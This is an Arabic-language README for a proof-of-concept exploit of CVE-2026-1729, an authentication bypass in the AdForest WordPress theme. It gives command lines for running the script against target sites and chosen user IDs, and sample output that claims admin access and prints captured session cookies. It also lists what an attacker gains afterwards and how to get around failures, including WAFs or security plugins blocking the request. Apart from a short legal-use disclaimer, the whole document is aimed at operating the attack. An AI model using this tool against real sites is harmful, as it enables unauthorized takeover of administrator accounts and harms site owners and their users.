CVE-2026-1729 - AdForest WordPress تجاوز المصادقة PoC

الوصف

إثبات مفهوم بسيط لثغرة CVE-2026-1729 (PoC) - ثغرة تجاوز المصادقة في قالب AdForest لـ WordPress. من تأليف f3ds cr3w est 2oo2 blog

المزايا

✅ وصول مباشر كمسؤول دون بيانات اعتماد
✅ يعمل على نسخ WordPress الإنتاجية
✅ لا يتطلب إعداد Docker
✅ واجهة سطر أوامر بسيطة
✅ استمرار الجلسة

المتطلبات

Python 3.6+
مكتبة requests

التثبيت

pip install requests

الاستخدام

الاستخدام الأساسي

python poc/exploit.py https://target-site.com

استهداف معرف مستخدم محدد

python poc/exploit.py https://target-site.com --user-id 2

أمثلة

# استغلال المسؤول الافتراضي (معرف المستخدم 1)
python poc/exploit.py https://example.com

# استغلال حساب مستخدم محدد
python poc/exploit.py https://example.com --user-id 5

# اختبار أهداف متعددة
python poc/exploit.py https://site1.com
python poc/exploit.py https://site2.com --user-id 3

المخرجات

CVE-2026-1729 - AdForest WordPress Authentication Bypass
=======================================================
WARNING: For authorized testing only!
=======================================================
[+] Target: https://example.com
[+] Targeting user ID: 1
[+] Sending exploit to: https://example.com/wp-admin/admin-ajax.php
[+] SUCCESS! Admin access granted
[+] Admin URL: https://example.com/wp-admin/
[+] Session cookies: {'wp-settings-time-1': '1234567890', 'wordpress_logged_in_...': '...'}
[+] Logged in as: admin

🎯 Exploit completed successfully!
You now have admin access to the WordPress site.

ماذا يحدث بعد الاستغلال

وصول المسؤول: تحصل على صلاحيات مسؤول كاملة على /wp-admin/
استمرار الجلسة: يحافظ الاستغلال على ملفات تعريف ارتباط الجلسة
معلومات المستخدم: يوضح الحساب الذي تم اختراقه
وصول مباشر: يمكنك الوصول فورًا إلى لوحة تحكم WordPress

ملاحظات

الاستخدام القانوني: استخدم الأداة فقط على المواقع التي تملكها أو لديك إذن صريح لاختبارها
متطلبات الهدف: يجب أن يكون قالب AdForest مثبتًا على الموقع
معدل النجاح: تعمل على الإصدارات القابلة للاستغلال من قالب AdForest
لا حاجة للتثبيت: لا حاجة لتثبيت أي شيء على الخادم الهدف

استكشاف الأخطاء وإصلاحها

إذا فشل الاستغلال:

تحقق من تثبيت قالب AdForest
تحقق من أن الموقع يعمل بنظام WordPress
تأكد من أن إصدار القالب قابل للاستغلال
تأكد من عدم وجود جدار حماية للتطبيقات (WAF) أو إضافات أمنية تمنع الطلب

CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

الأكثر شعبية